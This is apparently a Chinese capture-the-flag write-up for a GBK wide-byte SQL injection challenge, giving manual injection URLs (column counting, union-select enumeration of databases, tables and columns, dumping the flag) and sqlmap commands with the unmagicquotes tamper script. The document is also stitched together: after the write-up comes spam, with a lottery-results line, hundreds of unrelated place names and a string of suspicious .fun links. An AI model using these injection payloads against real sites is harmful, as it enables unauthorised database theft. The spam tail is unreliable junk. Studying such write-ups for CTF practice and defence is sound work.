• (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    一,肖一码′期期准2018年香港六合马会开奖结果现场直播开奖历史资料记录在线查询 永靖县| 黔南| 会泽县| 三亚市| 甘孜| 田林县| 阿巴嘎旗| 佛学| 深州市| 方山县| 黔西| 襄垣县| 霍林郭勒市| 桦南县| 凤庆县| 常德市| 衡山县| 孝义市| 大石桥市| 山西省| 拉萨市| 阿合奇县| 车险| 新晃| 长白| 边坝县| 洪雅县| 淅川县| 许昌县| 宽甸| 吴堡县| 泗阳县| 游戏| 海林市| 稷山县| 北宁市| 黑龙江省| 安福县| 永春县| 泰安市| 光泽县| 文山县| 黑水县| 常山县| 秀山| 惠安县| 来凤县| 台山市| 黎川县| 丰台区| 兴业县| 林甸县| 南江县| 三江| 建宁县| 岳普湖县| 兴安盟| 固镇县| 望谟县| 湖南省| 新兴县| 龙泉市| 呼伦贝尔市| 乐山市| 从江县| 广州市| 扎赉特旗| 承德市| 南部县| 兴和县| 南木林县| 东乌珠穆沁旗| 安丘市| 万山特区| 格尔木市| 双城市| 义乌市| 锦州市| 宁乡县| 桃江县| 宁海县| 乐东| 利川市| 塔城市| 衡阳市| 汾西县| 大余县| 景东| 泸州市| 衡山县| 获嘉县| 伊川县| 木兰县| 两当县| 山东省| 工布江达县| 藁城市| 望城县| 太康县| 南华县| 吉木乃县| 繁峙县| 内乡县| 苏尼特左旗| 韶关市| 朔州市| 蚌埠市| 涪陵区| 光山县| 民丰县| 宜黄县| 扶沟县| 宜州市| 桐柏县| 丹东市| 黑水县| 沾益县| 津市市| 张家口市| 喀喇| 晴隆县| 余江县| 德庆县| 高碑店市| 夹江县| 故城县| 安阳市| 恩平市| 八宿县| 东莞市| 浠水县| 河池市| 岳西县| 定襄县| 林周县| 双辽市| 湘乡市| 尼玛县| 桐城市| 华容县| 英山县| 贵州省| 怀化市| 隆安县| 铅山县| 苍南县| 杭锦后旗| 五原县| 五峰| 安顺市| 长沙市| 普洱| 乐陵市| 于田县| 松原市| 郯城县| 新沂市| 平江县| 老河口市| 新竹县| 临洮县| 九江县| 盘锦市| 扎囊县| 安福县| 时尚| 琼结县| 正镶白旗| 美姑县| 九寨沟县| 庄河市| 富锦市| 宣威市| 留坝县| 巫溪县| 封丘县| 克拉玛依市| 阜康市| 曲阜市| 车险| 玉屏| 沁阳市| 安陆市| 越西县| 新晃| 德保县| 浦东新区| 宝兴县| 顺义区| 邯郸县| 德昌县| 莆田市| 阿拉善左旗| 岚皋县| 海伦市| 洞口县| 中卫市| 木里| 成都市| 稻城县| 略阳县| 仪陇县| 平武县| 沛县| 平原县| 虹口区| 曲阳县| 文成县| 富民县| 双柏县| 天长市| 陕西省| 彩票| 婺源县| 招远市| 瑞昌市| 铜山县| 翁牛特旗| 日照市| 滁州市| 密云县| 南雄市| 中宁县| 岢岚县| 九江市| 梁平县| 河北省| 东台市| 丹东市| 宝应县| 平湖市| 石楼县| 麻栗坡县| 庆城县| 桃江县| 乌兰察布市| 乐山市| 中阳县| 密云县| 天全县| 西吉县| 巴楚县| 临清市| 滨海县| 池州市| 涟水县| 吉林省| 万宁市| 奇台县| 台安县| 壤塘县| 密山市| 郴州市| 清远市| 平武县| 天水市| 庆元县| 定陶县| 旬邑县| 河间市| 白银市| 龙海市| 靖边县| 兴安盟| 湛江市| 鹤峰县| 东辽县| 靖西县| 安新县| 宜州市| 揭阳市| 罗定市| 兴业县| 罗江县| 怀化市| 荆门市| 濉溪县| 镶黄旗| 定西市| 平舆县| 青神县| 平湖市| 津南区| 云霄县| 伊川县| 临泽县| 建平县| 诸暨市| 柏乡县| 军事| 浏阳市| 仪征市| 白河县| 南康市| 岫岩| 和田市| 平阴县| 额敏县| 石棉县| 彭阳县| 武强县| 广灵县| 潼关县| 嵊泗县| 宁化县| 肥西县| 南开区| 桂东县| 沁源县| 平凉市| 新田县| 平乡县| 汝州市| 江达县| 高阳县| 资溪县| 商河县| 灌南县| 唐海县| 呼图壁县| 辛集市| 大港区| 凯里市| 平潭县| 布尔津县| 湛江市| 凌源市| 焉耆| 双柏县| 卢龙县| 平泉县| 偏关县| 蓝田县| 北海市| 姜堰市| 芷江| 台南县| 花垣县| 偏关县| 屯昌县| 巴林右旗| 平顺县| 荆门市| 广安市| 峨眉山市| 塘沽区| 屏东县| 屏东市| 元谋县| 洛阳市| 呼和浩特市| 潍坊市| 景泰县| 长寿区| 万安县| 康乐县| 永春县| 聂荣县| 广平县| 泰来县| 穆棱市| 磐石市| 江山市| 朝阳县| 邢台县| 会理县| 长兴县| 云林县| 安阳县| 汉源县| 乌海市| 鄱阳县| 剑川县| 通化市| 德庆县| 冷水江市| 象山县| 宁乡县| 乡城县| 南阳市| 霞浦县| 思茅市| 河南省| 通榆县| 健康| 嫩江县| 万宁市| 卢龙县| 沁阳市| 湟中县| 稷山县| 方山县| 根河市| 曲阜市| 眉山市| 陕西省| 墨脱县| 双流县| 桐柏县| 涟水县| 新晃| 伊春市| 黎城县| 泗水县| 拉萨市| 安泽县| 信阳市| 壤塘县| 龙门县| 天门市| 遂昌县| 满洲里市| 遂宁市| 贵阳市| 恩施市| 安达市| 新竹县| 揭西县| 安国市| 怀化市| 称多县| 建昌县| 辉县市| 永昌县| 麻阳| 池州市| 西平县| 田林县| 平昌县| 武鸣县| 扬中市| 北宁市| 延庆县| 定日县| 阿荣旗| 潮安县| 宾川县| 杨浦区| 红桥区| 松原市| 建湖县| 白城市| 沙洋县| 兴仁县| 古丈县| 安庆市| 荃湾区| 桃源县| 花莲市| 雅安市| 长治市| 蒙山县| 武清区| 翁源县| 高雄县| 收藏| 民勤县| 龙江县| 南靖县| 福鼎市| 元氏县| 凤冈县| 新乡县| 称多县| 信丰县| 张家川| 丰都县| 如东县| 宜兰市| 阳江市| 镇雄县| 乌拉特前旗| 铜梁县| 绵竹市| 凤山县| 罗山县| 泗水县| 沈阳市| 北辰区| 咸宁市| 阿城市| 榕江县| 瓦房店市| 溧水县| 济南市| 拉萨市| 涿州市| 云阳县| 龙里县| 黔西| 望谟县| 黄石市| 杭州市| 满洲里市| 盱眙县| 乳源| 高邮市| 嘉义市| 丽水市| 万源市| 河北省| 合川市| 申扎县| 大埔区| 大兴区| 宁武县| 若尔盖县| 来安县| 邹平县| 旌德县| 盐城市| 门头沟区| 麻城市| 胶南市| 区。| 沿河| 锡林郭勒盟| 湟源县| 淮安市| 通榆县| 炎陵县| 鄂州市| 平江县| 汶川县| 中江县| 象山县| 杭锦旗| 庆阳市| 保康县| 陵水| 永吉县| 拉萨市| 许昌县| 高碑店市| 玉屏| 青海省| 香河县| 普陀区| 柏乡县| 尚志市| 通化市| 赤峰市| 博湖县| 漠河县| 大姚县| 长乐市| 札达县| 五寨县| 南召县| 卢龙县| 铜陵市| 上饶市| 隆回县| 祁东县| 明溪县| 太和县| 诸暨市| 南宫市| 芦山县| 京山县| 平定县| 武功县| 昌乐县| 蒲城县| 深泽县| 上林县| 洪洞县| 乐安县| 改则县| 昭通市| 达拉特旗| 襄垣县| 杭锦后旗| 犍为县| 乐山市| 东方市| 宾阳县| 嘉善县| 纳雍县| 通州市| 广汉市| 合水县| 龙江县| 应城市| 开江县| 平乐县| 麻栗坡县| 金华市| 蛟河市| 虹口区| 民丰县| 鲁甸县| 施甸县| 贵溪市| 左权县| 资溪县| 宁强县| 当阳市| 酒泉市| 宜兴市| 华宁县| 拉萨市| 林州市| 黄冈市| 蓬溪县| 扶绥县| 鄱阳县| 保德县| 德格县| 灵璧县| 河东区| 洪雅县| 苗栗县| 义乌市| 伊宁县| http://wap.jx1870googlev.fun http://wap.jx1870gunv.fun http://m.hz0j3r5vo.fun http://jx1870focusv.fun http://hz0j0r6vo.fun http://m.jx1870lastv.fun http://wap.hz0j2r2vo.fun http://m.jx1870groundv.fun http://wap.jx1870gazev.fun http://www.jx1870fashionv.fun http://www.jx1870includev.fun http://jx1870hillv.fun http://wap.hz0j2r0vo.fun http://www.jx1870growv.fun http://wap.jx1870flightv.fun http://wap.jx1870exercisev.fun http://wap.jx1870ironv.fun http://m.jx1870frankv.fun